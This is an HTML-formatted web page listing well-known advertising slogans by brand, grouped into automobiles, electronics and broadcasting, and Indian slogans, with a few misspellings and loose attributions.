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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The official uniform of New York.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ DKNY Jeans<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The jeans that built America.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Lee<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">There's a bit of the west in all of us.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Wrangler<o:p></o:p></span></div>
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<b><span lang="EN-US" style="color: #610b0b; font-family: "georgia" , serif; font-size: 15pt;">Automobiles<o:p></o:p></span></b></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Born to perform.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Jaguar<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Break through.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Cadillac<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Eye it - try it - buy it!</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Chevrolet<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Ford. Designed for living. Engineered to last.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Ford<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">It's not your father's Oldsmobile anymore.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Oldsmobile<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Inspiration comes standard.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Chrysler<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Mercedes-Benz. The future of the automobile.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Mercedes-Benz<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Never follow.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Audi<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Power, beauty and soul.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Aston Martin<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Porche, there is no substitute.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Porche<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Relieves gas pains.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Volkswagen<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Sheer driving pleasure.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ BMW<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The power of dreams.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Honda<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The ultimate driving machine.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ BMW<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The road will never be the same.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Acura<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Volkswagen. Drivers wanted.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Volkswagen<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">We try harder.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Avis<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Zoom-Zoom.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Mazda<o:p></o:p></span></div>
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<b><span lang="EN-US" style="color: #610b0b; font-family: "georgia" , serif; font-size: 15pt;">Electronics, Broadcasting, Communications<o:p></o:p></span></b></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">1000 songs in your pocket.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Apple iPod<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">All the news that's fit to print.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ The New York Times<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Always low prices. Always.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Wal-Mart<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">ABC: America's Broadcasting Company.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ ABC<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Acquire, manage and listen.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Apple Computer<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Connecting People.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Nokia<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Do you have the bunny inside?</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Energizer Max<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Fair and balanced.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ FOX News<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Get more</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ T-Mobile<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Game on. And on. And on.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Apple iPod Touch<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Hello Moto.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Motorola<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Hello Tosh, gotta Toshiba?</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Toshiba<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">How many bars do you have?</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ AT&T Wireless<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">How does the wireless industry make you feel?</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Sprint<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">If you don't get it, you don't get it.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ The Washington Post<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Intel inside.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Intel<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">It's not TV, it's HBO.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ HBO<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Just what I needed.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Circuit City<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Keeps going and going and going.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Energizer Batteries<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Let your fingers do the walking.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Yellow Pages<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Meet your new personal trainer.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Nike+iPod<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Nick is for kids.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Nickelodeon TV channel<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Reach out and touch someone.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ AT&T Wireless<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Save money. Live better.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Wal-Mart<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Taking care of business.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Office Depot<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The fun develops instantly.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Polaroid<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The Eye in the Eyes.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ CBS<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The first network for men.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Spike TV<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The most trusted name in news.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ CNN<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">This changes everything. Again.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Apple iPhone 4<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Thousands of possibilities. Get yours.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Best Buy<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Turn It Up.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ UPN<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">We never stop working for you.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Verizon Wireless<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Wikipedia, the free encyclopedia.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Wikipedia<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Your Potential. Our passion.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Microsoft<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">You've got questions, we've got answers.</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ RadioShack<o:p></o:p></span></div>
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<b><span lang="EN-US" style="color: #610b0b; font-family: "georgia" , serif; font-size: 15pt;"><br /></span></b></div>
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<b><span lang="EN-US" style="color: #610b0b; font-family: "georgia" , serif; font-size: 15pt;">Best Indian Slogans<o:p></o:p></span></b></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Yehi hai right choice baby! Aha</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Pepsi<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Taste the thunder</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Thums Up<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> <b>Born tough </b></span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Ceat<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Shock laga kya</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Havells<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">The mint with a hole </span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Polo<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Daag acche hai</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Surf Excel<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Har ghar kuch kehta hai</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Asian Paints<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">I love you Rasna</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Rasna (remember the sweet Rasna girl)<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Fresh n Juicy</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Footi<o:p></o:p></span></div>
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<span lang="EN-US" style="color: #df013a; font-family: "segoe print"; font-size: 13pt;">♦</span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">Thanda matlab Coca Cola</span></b><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;"> </span><span lang="EN-US" style="font-family: "segoe print"; font-size: 13pt;">~ Coke<o:p></o:p></span></div>
